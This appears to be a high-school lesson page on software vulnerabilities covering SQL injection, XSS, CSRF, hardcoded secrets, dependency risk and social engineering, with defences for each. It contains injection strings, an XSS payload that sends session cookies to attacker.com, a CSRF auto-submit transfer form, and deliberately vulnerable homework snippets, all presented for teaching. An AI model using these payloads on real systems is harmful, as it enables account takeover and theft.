← Back to Learning Hub

Lesson 9: Software Vulnerabilities

Understanding the technology first — then understanding how it gets exploited

80 minutes Year 12 Content High Exam Priority

Part 1: Homework Review — Lesson 8 Tasks 10 min

Task 1: Server-Side Protection with middleware.js

The goal was to add a middleware.js file to Volcanic Pantheon on Vercel that intercepts requests before any content is served. If credentials are missing or wrong, the middleware returns a 401 response with a WWW-Authenticate header. Only correct credentials allow the request through.

This is the core of what we called the trust boundary from last lesson: authentication happens on Vercel's servers, not in the browser. The client never receives the protected content unless the server has verified identity first.

Task 2: Authorisation Layers

Beyond the all-or-nothing gate, the task asked you to add a second layer: different paths requiring different credentials. Public pages stay open. A standard protected area requires one password. A more restricted area requires a stronger one.

This is authorisation — not just "who are you?" (authentication) but "what are you allowed to do?" (authorisation). We used the matcher config to control which paths the middleware runs on.

What This Established

Lessons 7 and 8 built the AAA model in practice: Authentication (prove your identity), Authorisation (get access to what you're allowed), Accountability (actions are tied to you). Server-side middleware is how real applications enforce the first two.

Today's lesson asks: what happens when developers don't build these protections correctly? We'll look at each major class of vulnerability — but before each attack, we'll understand the technology it exploits.

Part 2: Databases, SQL & SQL Injection 18 min

NESA SE-12-07 — Vulnerabilities

Foundation — What is a database and what is SQL?

What is a Database?

Almost every web application needs to store data that persists beyond a single request: user accounts, posts, orders, settings. A relational database is the standard tool for this. It stores data in tables — rows and columns, like a spreadsheet — and lets you query those tables with a structured language.

A typical web application has a database running on a server. When you log in, the application queries the database to check your credentials. When you post something, the application inserts a new row. The database never talks to your browser directly — it's always the application code in the middle.

What is SQL?

SQL (Structured Query Language) is the language used to interact with relational databases. It's not a programming language like Python — it's a query language: you describe what data you want and the database returns it. Every major database (PostgreSQL, MySQL, SQLite, SQL Server) speaks SQL.

The most common operation is SELECT — retrieving rows that match a condition:

SQL basics — what a database query looks like
-- A users table might look like this:
-- | id | username | password_hash          | role  |
-- |----|----------|------------------------|-------|
-- | 1  | alice    | $2b$10$abc...          | user  |
-- | 2  | admin    | $2b$10$xyz...          | admin |

-- Retrieve all columns from the users table:
SELECT * FROM users;

-- Retrieve only the row where username matches:
SELECT * FROM users WHERE username = 'alice';

-- The WHERE clause filters rows. Only rows where the condition is true are returned.

How a Login Form Uses SQL

When you submit a login form, the application takes your username and password, builds a SQL query, and asks the database: "does a user with this username and password exist?" If the database returns a row, the login succeeds.

In Python, that might look like this:

How a login check works in code
username = request.form['username']   # From the browser form
password = request.form['password']

# Build a query using the user's input
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

# Send to database
result = db.execute(query)

if result:
    # Row found — log the user in
    session['user'] = result[0]['username']

The Vulnerability — SQL Injection

What Goes Wrong

The problem is that the developer is building the SQL query by gluing the user's input directly into a string. The user's input becomes part of the SQL command. If the attacker types something that looks like SQL, the database will execute it as SQL — not treat it as data.

An attacker doesn't enter a normal username. They enter this:

SQL injection — breaking out of the string
-- Attacker enters as username:
admin'--

-- The query the code builds becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = '...'

-- In SQL, -- starts a comment. Everything after it is ignored.
-- The password check disappears entirely.
-- The database returns the admin row. The attacker is now logged in as admin.
Another classic attack — always-true condition
-- Attacker enters as username:
' OR '1'='1

-- The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

-- '1'='1' is always true. Every row satisfies the WHERE clause.
-- Returns all users. The application logs in as the first one (often admin).

It Gets Much Worse

Bypassing logins is the most visible example, but SQL injection can also dump entire databases (UNION SELECT attacks), delete tables (DROP TABLE users), or read files from the server — all through a text field. The 2011 Sony PlayStation Network breach exposed 77 million accounts partly through SQL injection.

🎯 Try it yourself — live SQL injection demo

Type ' OR '1'='1 or admin'-- into the vulnerable server. Watch the SQL query update as you type, then hit Execute Query to see the result. Try the exact same input on the secure server to see how parameterised queries block it.

🚨 VULNERABLE SERVER

Enter a username:

Enter a username above to test...
SQL query being built: SELECT * FROM users WHERE username = ''

✅ SECURE SERVER (PATCHED)

Try the same input here:

Enter a username above to test...
Parameterised query used: SELECT * FROM users WHERE username = ?
Parameter: ""

The Defence — Parameterised Queries

The fix is to never build SQL queries by concatenating user input. Instead, use parameterised queries (also called prepared statements): define the query structure first with placeholders, then pass the user's input separately as a parameter. The database engine treats those parameters as pure data — they can never alter the query's structure, no matter what they contain.

Parameterised query — the correct approach
import sqlite3

username = input("Username: ")
password = input("Password: ")

# The ? placeholders define the query structure FIRST.
# User input is passed separately — the database handles it as data only.
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))

# Even if the attacker enters:  admin'--
# The database receives it as the literal string "admin'--"
# The single quote is just a character. It cannot break out of the string.

Why This Works

The database compiles the query structure first, then slots in the values. The user's input is sandboxed: always treated as data, never as SQL commands. The structural separation between "query" and "data" is what makes it impossible to inject SQL.

Part 3: The Browser, the DOM & XSS 12 min

NESA SE-12-07 — Vulnerabilities

Foundation — What is the DOM and how does the browser render HTML?

HTML is a Document, Not a Program

When your browser receives a web page, it receives an HTML file — a text document with a specific structure. The browser reads that HTML and builds a DOM (Document Object Model): a live tree of objects in memory representing every element on the page.

Think of the DOM as the browser's internal model of the page. <div>, <p>, <script> — each one becomes a node in the tree. The browser uses this tree to render what you see on screen.

JavaScript Can Modify the DOM

JavaScript running in the browser has full access to the DOM. It can add elements, remove them, change their content, and react to user actions. This is what makes modern web pages interactive.

Two key ways to set the content of an element:

  • element.innerHTML = someString — the browser parses someString as HTML, including any tags it contains
  • element.textContent = someString — the browser treats someString as plain text, no parsing, no tags

That distinction is the root of XSS.

Why Sites Display User Content

Social media posts, forum comments, product reviews, chat messages — countless sites accept text from users and display it to other users. This is normal and necessary. The risk appears when a developer takes that user-submitted text and inserts it into the page using innerHTML instead of textContent.

The Vulnerability — XSS (Cross-Site Scripting)

What Goes Wrong

Cross-Site Scripting (XSS) is an attack where malicious JavaScript is injected into a page and then executed by other users' browsers. The attacker doesn't attack the server directly — they attack other users by planting code that runs when those users load the page.

XSS via a comment field
// The attacker posts this as their "comment":
// <script>document.location='https://attacker.com/steal?c='+document.cookie</script>

// The vulnerable site displays it with:
commentDiv.innerHTML = commentFromDatabase;

// The browser parses it as HTML. The <script> tag runs.
// Every visitor's session cookie is now sent to the attacker.
// The attacker uses those cookies to log in as each victim.

The Three Types

Type Where the Script Lives Who Is Affected
Stored XSS Saved in the database, served to all visitors Every user who loads the page
Reflected XSS Embedded in a URL, reflected back in the response Users who click the malicious link
DOM-based XSS Manipulates the DOM in the browser, no server involved Users who interact with the compromised page

The Defence — textContent and Whitelist Sanitisation

The one-line fix for most XSS
// VULNERABLE: browser parses the value as HTML, executes any scripts
element.innerHTML = userInput;

// SAFE: browser treats the value as plain text, angle brackets are harmless characters
element.textContent = userInput;

// If you must allow some formatting (e.g. bold text in a forum):
// Use a whitelist sanitisation library such as DOMPurify.
// Never write your own HTML sanitiser from scratch.

Blacklist vs Whitelist

Blacklist (weak): Block known dangerous patterns like <script>. Attackers route around these constantly: <img onerror="...">, <svg onload="...">, URL-encoded variants, and dozens more.

Whitelist (strong): Only allow known-safe characters or tags. Everything else is stripped. If you only allow [a-zA-Z0-9 .,!?], no angle bracket ever reaches the page.

Part 4: HTTP, Sessions, Cookies & CSRF 12 min

NESA SE-12-07 — Vulnerabilities

Foundation — How does a server know you're still logged in?

HTTP is Stateless

Every HTTP request is independent. When your browser asks a server for a page, the server responds and immediately forgets the exchange. There is no built-in memory of previous requests. Every request arrives as if from a stranger.

This creates an obvious problem: how does a site remember that you're logged in? If the server forgets you between every request, you'd have to log in on every single page load.

Sessions: Remembering Who You Are

The solution is a session. When you log in successfully, the server creates a session record in its memory (or database) and assigns it a long, random ID — something like abc123def456.... The server sends that ID to your browser.

On every subsequent request, your browser sends the session ID back to the server. The server looks it up and knows who you are. This is how "staying logged in" works.

Cookies: Where the Session ID Lives

The session ID is stored in a cookie — a small piece of data that the browser saves and automatically attaches to every request it makes to that domain. You don't need to do anything. Every request to mybank.com automatically includes your session cookie for mybank.com.

That automatic behaviour is convenient and necessary for the web to work. It's also the thing CSRF exploits.

The Vulnerability — CSRF (Cross-Site Request Forgery)

What Goes Wrong

Cross-Site Request Forgery (CSRF) tricks your browser into making a request to a site you're already logged into — from a different, malicious site. Because the browser automatically attaches your session cookie, the target server sees a valid, authenticated request. It has no way of knowing it came from the attacker's page rather than from you.

A CSRF attack — hidden form that auto-submits
// You're logged into mybank.com. In another tab, you visit attacker.com.
// Somewhere on attacker.com, hidden in the page:

<form id="csrf-form" action="https://mybank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="5000">
    <input type="hidden" name="to_account" value="attacker-account-123">
</form>
<script>document.getElementById('csrf-form').submit();</script>

// Your browser submits the form to mybank.com.
// Your mybank.com session cookie is attached automatically.
// The bank sees a valid, authenticated POST request to transfer $5000.
// It approves it — the bank can't tell this came from attacker.com.

The Core Problem

Cookies prove who you are, but not where a request came from. A forged request and a real request look identical to the server — both carry the same session cookie. Without extra verification, the server has no way to distinguish them.

The Defence — CSRF Tokens

A CSRF token is a secret, unpredictable value that the server generates and embeds in every form. When the form is submitted, the server checks that the token is present and matches. An attacker on a different origin cannot read the token from your page (browsers block cross-origin reads), so their forged form has no valid token and the server rejects it.

CSRF token in a form
import secrets

# When the form is first displayed, generate a token and store it in the session:
csrf_token = secrets.token_hex(32)
session['csrf_token'] = csrf_token
# Embed it in the form as a hidden field:
# <input type="hidden" name="csrf_token" value="{{ csrf_token }}">

# When the form is submitted, validate:
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)  # Reject — token missing or wrong

# The attacker's hidden form has no token (or the wrong one). The request is rejected.

Modern frameworks handle CSRF automatically. Django, Rails, Laravel, and most web frameworks include CSRF protection by default. Understanding what they're doing and why is what the HSC requires.

Part 5: APIs, Secrets & Hardcoded Credentials 8 min

NESA SE-12-07 — Vulnerabilities

Foundation — What is an API and why do keys exist?

What is an API?

An API (Application Programming Interface) is a way for one piece of software to communicate with another. When your app needs to send an email, process a payment, show a map, or generate text with AI — it calls another service's API. You send a request; it sends data back.

Services don't let just anyone use their API for free. They require you to identify yourself using an API key — a long, unique string that proves you're an authorised user. The key is tied to your account: usage is billed to you, rate limits apply to you, and if the key is misused, they can revoke it.

Common examples: OpenAI API keys, Google Maps keys, Stripe payment keys, Twilio SMS keys. These keys have real monetary and access value.

The Vulnerability — Hardcoded Secrets

What Goes Wrong

Hardcoded secrets means embedding sensitive values — API keys, passwords, database credentials — directly in source code. Source code is far less private than developers assume: it gets pushed to GitHub, shared with collaborators, deployed to servers, and sometimes accidentally made public. Any secret in the code is exposed to all of these channels.

Common forms of hardcoded secrets
# Hardcoded API key in source code
API_KEY = "sk-abc123def456ghi789"
response = requests.get(f"https://api.openai.com/v1/...", headers={"Authorization": f"Bearer {API_KEY}"})

# Hardcoded database password
conn = connect("postgresql://admin:SuperSecret123@db.mysite.com/prod")

# Even a hardcoded password hash is a problem:
CORRECT_HASH = "299957fa31b8e7784f4f7972436d9d4db8667f1bb7859faa4ec64d45c98861fb"

Real-World Consequence

Automated bots scan public GitHub repositories continuously looking for hardcoded secrets. When one is found, it is typically exploited within minutes. Developers have received five-figure cloud bills after an API key was exposed in a public commit. Once a key is in version control history, deleting it from the latest file is not enough — it remains in every previous commit.

The Defence — Environment Variables

Environment variables — the correct pattern
import os

# Read the secret from the environment at runtime — it's never in the code
API_KEY = os.environ.get("API_KEY")
DB_PASSWORD = os.environ.get("DB_PASSWORD")

# .env file (local development only — never committed):
# API_KEY=sk-abc123def456ghi789
# DB_PASSWORD=SuperSecret123

# .env is listed in .gitignore. On the server, secrets are set via the
# hosting provider's dashboard (Vercel, Netlify, Heroku, etc.).

Part 6: Security Through Obscurity 5 min

NESA SE-12-07 — Vulnerabilities

Definition

Security through obscurity means relying on the secrecy of a system's design as the primary method of protection, rather than using genuine security controls. The moment an attacker learns how the system works, the protection is gone.

You've already seen this in practice with Volcanic Pantheon: hiding a JavaScript password check by making the repository private is obscurity. Anyone who finds the source — through the browser's View Source, a cached version, or a leak — can bypass it instantly. The protection vanished the moment the design became known.

Kerckhoffs's Principle

Stated in 1883 and still the gold standard of security design: a system should be secure even if everything about the system, except the key, is public knowledge.

Applied to software: security should depend on a secret value (a password, a token, a key) — not on the attacker not knowing the method. Server-side bcrypt authentication satisfies this: publishing your source code doesn't help an attacker log in. Client-side localStorage checks do not: knowing the method is enough to break it.

Obscurity as One Layer is Fine

Obscurity is not entirely useless. An obscure URL combined with proper authentication is more secure than proper authentication alone. The problem is treating obscurity as a replacement for real controls, not as a supplement to them.

Part 7: Packages, Dependencies & Supply Chain Risk 6 min

NESA SE-12-07 — Vulnerabilities

Foundation — What are packages and why does everyone use them?

What is a Package?

Almost no developer writes everything from scratch. A package (also called a library or module) is a collection of code written by someone else that solves a common problem: parsing dates, handling file uploads, making HTTP requests, validating email addresses, encrypting data.

In Python you install packages with pip. In JavaScript/Node.js you use npm. Your project's package.json or requirements.txt lists what you depend on.

Here's the catch: each package you depend on may itself depend on other packages, which depend on others still. This is the dependency tree. A project with 20 direct dependencies might pull in 200 or more packages transitively. You are responsible for all of them.

The Vulnerability — Insecure Dependencies

What Goes Wrong

Insecure dependencies means using packages that contain known security vulnerabilities. If any package in your dependency tree has a flaw, your application inherits it — regardless of how carefully you wrote your own code. This is the supply chain attack: instead of attacking your code, attackers compromise something your code depends on.

Log4Shell (2021)

Log4j is a Java logging library used in hundreds of thousands of applications: Minecraft, banking systems, enterprise software. In December 2021 a critical vulnerability (CVE-2021-44228) was found that allowed remote code execution just by logging a specially crafted string. Applications were vulnerable through no fault of their own code. The scramble to patch took weeks and affected major organisations globally.

The Defence

  • Keep dependencies updated — security patches are released regularly; outdated packages are known attack surfaces
  • Audit regularlynpm audit (Node.js) and pip-audit (Python) scan your dependency tree against public vulnerability databases and flag what needs updating
  • Minimise dependencies — every package you add is a potential risk; only add what you genuinely need
  • Automated monitoring — GitHub Dependabot automatically opens pull requests when a vulnerability is found in a dependency

Part 8: Social Engineering & Shoulder Surfing 5 min

NESA SE-12-04 — Safe Data Practices

When Technology is Not the Weakest Link

Every vulnerability so far has targeted the software: a database query, a DOM insertion, a cookie mechanism. But the most secure technical system can still fall if the people using it can be manipulated. Social engineering attacks target humans rather than systems, exploiting trust, urgency, authority, and helpfulness.

No software patch fixes a user who hands their password to someone posing as IT support.

Common Attack Types

Attack Mechanism
Shoulder surfing Watching someone's screen or keyboard to steal credentials or sensitive information
Phishing Fake emails or websites impersonating trusted entities to steal credentials or install malware
Pretexting Fabricating a scenario to extract information ("I'm from IT, I need your password to fix an urgent issue")
Baiting Leaving infected USB drives or devices for victims to find and plug in out of curiosity
Tailgating Physically following an authorised person through a secured door without using your own credentials

Defences

  • User education — the most effective control; people who know these attacks exist are far harder to fool
  • Verification procedures — always confirm identity through a separate, trusted channel; legitimate IT staff never ask for passwords
  • Multi-factor authentication — limits damage if credentials are stolen; the attacker needs the second factor too
  • Least-privilege access — even if an attacker tricks one person, they only gain access to what that person can access

Part 9: Knowledge Check 4 min

HSC-Style Questions — Answer Before Looking

  • Q1 (3 marks): A login form builds its query as: "SELECT * FROM users WHERE user='" + username + "'". Identify the vulnerability, explain how an attacker exploits it, and describe the correct fix.
  • Q2 (2 marks): Distinguish between XSS and CSRF. In your answer, identify what each attack targets.
  • Q3 (2 marks): A developer commits an API key in a JavaScript file to a public GitHub repository. Identify the vulnerability and describe one mitigation.
  • Q4 (2 marks): Explain what insecure dependencies are and describe one strategy a developer can use to manage this risk.

Model Answers (Click to Reveal)

Q1: SQL Injection

Vulnerability: SQL injection — user input is concatenated directly into a SQL query, allowing an attacker to alter the query's structure.

Exploitation: Entering admin'-- as the username produces SELECT * FROM users WHERE user='admin'--'. The -- comments out the rest of the query, eliminating the password check, and the database returns the admin record.

Fix: Parameterised queries. The query structure is defined with placeholders and user input is passed separately as data. The database engine cannot interpret the input as SQL regardless of what it contains.

Q2: XSS vs CSRF

XSS targets other users of a vulnerable website. The attacker injects malicious JavaScript into the site which then runs in the browsers of anyone who visits — the attack comes from within the target site.

CSRF targets an authenticated user's session. The attacker tricks the user's browser into making an unauthorised request to a site the user is already logged into, exploiting automatic cookie attachment. The attack comes from a different, malicious site.

Q3: Hardcoded API Key

Vulnerability: Hardcoded secret — the API key is embedded in source code committed to a public repository. Automated bots scan GitHub continuously; the key can be found and exploited within minutes, potentially incurring costs or exposing data.

Mitigation: Store the key as an environment variable. The code reads it at runtime with os.environ.get("API_KEY"). The .env file containing the actual value is listed in .gitignore and never committed.

Q4: Insecure Dependencies

Insecure dependencies: Using third-party packages that contain known security vulnerabilities. Modern applications rely on many external libraries, and a vulnerability in any one of them is inherited by the application.

Mitigation: Run npm audit (or pip-audit) regularly. These tools scan the entire dependency tree against public vulnerability databases and report which packages need updating. GitHub Dependabot automates this by opening pull requests when new vulnerabilities are discovered.

What You've Learned Today

  • SQL & SQL Injection — Databases store data in tables queried with SQL. Injection happens when user input is concatenated into a query. Fix: parameterised queries separate structure from data.
  • DOM & XSS — Browsers parse HTML into a DOM that JavaScript can modify. XSS happens when user content is inserted with innerHTML. Fix: textContent or whitelist sanitisation.
  • HTTP, Cookies & CSRF — HTTP is stateless; sessions use cookies sent automatically with every request. CSRF forges authenticated requests from a different site. Fix: CSRF tokens unknown to the attacker.
  • APIs & Hardcoded Secrets — APIs use keys to authenticate callers. Secrets in source code are exposed when code is shared or published. Fix: environment variables, never committed.
  • Security Through Obscurity — Secrecy of design as sole protection violates Kerckhoffs's principle. Use controls that work even when the design is known.
  • Dependencies & Supply Chain — You inherit vulnerabilities from every package in your dependency tree. Fix: npm audit, keep packages updated.
  • Social Engineering — Attacks target people, not systems. Fix: education, verification procedures, MFA, least privilege.

Curriculum Progress

  • Year 12 Secure Software — vulnerabilities section: complete
  • HSC Outcomes: SE-12-04 (full), SE-12-07 (full)
  • Next lesson: how to test for these vulnerabilities — SAST, DAST, and penetration testing

Homework Before Next Lesson

Vulnerability Identification

For each snippet below, (a) name the vulnerability, (b) explain what an attacker could do, and (c) write the corrected code.

Snippet A
def get_user(username):
    query = "SELECT * FROM users WHERE username = '" + username + "'"
    return db.execute(query)
Snippet B
const comment = await fetch('/api/latest-comment').then(r => r.text());
document.getElementById('comment-box').innerHTML = comment;
Snippet C
const API_KEY = "sk-abc123def456ghi789";
fetch(`https://api.openai.com/v1/completions`, {
    headers: { "Authorization": `Bearer ${API_KEY}` }
});

Short Answer (HSC Practice)

Explain in 3–4 sentences how a CSRF attack works and why session cookies alone are not sufficient to prevent it.

Check your answer

A CSRF attack tricks a user's browser into making an unauthorised request to a site the user is already logged into. The attacker hosts a malicious page with a hidden form that auto-submits to the target site when loaded. Because browsers automatically attach session cookies to every request for a domain, the server receives a request with a valid authentication cookie and cannot distinguish it from a legitimate user action. Session cookies prove identity but not intent or origin — a CSRF token, which the attacker cannot read from a different origin, provides the missing verification.

← Back to Blake's Learning Hub